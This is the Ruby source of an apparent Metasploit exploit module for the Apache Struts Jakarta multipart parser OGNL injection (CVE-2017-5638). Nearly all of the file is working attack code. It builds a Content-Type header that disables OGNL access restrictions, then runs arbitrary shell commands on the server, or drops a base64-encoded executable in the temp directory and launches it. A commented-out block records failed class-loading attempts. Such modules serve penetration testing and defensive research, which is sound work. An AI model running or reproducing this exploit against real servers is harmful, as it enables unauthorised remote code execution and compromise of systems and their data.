## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', 'Description' => %q{ This module exploits a remote code execution vunlerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk. }, 'Author' => [ 'Nike.Zheng', # PoC 'Nixawk', # Metasploit module 'Chorder', # Metasploit module 'egypt', # combining the above 'Jeffrey Martin', # Java fu ], 'References' => [ ['CVE', '2017-5638'], ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] ], 'Privileged' => true, 'Targets' => [ [ 'Universal', { 'Platform' => %w{ unix windows linux }, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], }, ], ], 'DisclosureDate' => 'Mar 07 2017', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), ] ) register_advanced_options( [ OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) ] ) @data_header = "X-#{rand_text_alpha(4)}" end def check var_a = rand_text_alpha_lower(4) ognl = "" ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| begin resp = send_struts_request(ognl) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end if resp && resp.code == 200 && resp.headers[var_a] vprint_good("Victim operating system: #{resp.headers[var_a]}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit case payload.arch.first #when ARCH_JAVA # datastore['LHOST'] = nil # resp = send_payload(payload.encoded_jar) when ARCH_CMD resp = execute_command(payload.encoded) else resp = send_payload(generate_payload_exe) end require'pp' pp resp.headers if resp end def send_struts_request(ognl, extra_header: '') uri = normalize_uri(datastore["TARGETURI"]) content_type = "%{(#_='multipart/form-data')." content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." content_type << "(#_memberAccess?" content_type << "(#_memberAccess=#dm):" content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." content_type << "(#ognlUtil.getExcludedPackageNames().clear())." content_type << "(#ognlUtil.getExcludedClasses().clear())." content_type << "(#context.setMemberAccess(#dm))))." content_type << ognl content_type << "}" headers = { 'Content-Type' => content_type } if extra_header headers[@data_header] = extra_header end #puts content_type.gsub(").", ").\n") #puts resp = send_request_cgi( 'uri' => uri, 'method' => datastore['HTTPMethod'], 'headers' => headers ) if resp && resp.code == 404 fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') end resp end def execute_command(cmd) ognl = '' ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| # You can add headers to the server's response for debugging with this: #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| #ognl << %q|(#r.addHeader('decoded',#cmd)).| ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| ognl << %q|(#p.redirectErrorStream(true)).| ognl << %q|(#process=#p.start())| send_struts_request(ognl, extra_header: cmd) end def send_payload(exe) ognl = "" ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).| #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).| ognl << %q|(#f.setExecutable(true)).| ognl << %q|(#f.deleteOnExit()).| ognl << %q|(#fos=new java.io.FileOutputStream(#f)).| # Using stuff from the sun.* package here means it likely won't work on # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to # work and I don't see a better way of getting binary data onto the # system. =/ ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).| ognl << %q|(#fos.write(#d)).| ognl << %q|(#fos.close()).| ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| ognl << %q|(#p.start()).| ognl << %q|(#f.delete())| send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n")) end end =begin Doesn't work: ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).| ognl << %q|(#r.addHeader('meth',#m.toGenericString())).| ognl << %q|(#m.invoke(null,null)).| #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899 #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed #ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5 #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed #ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884 =end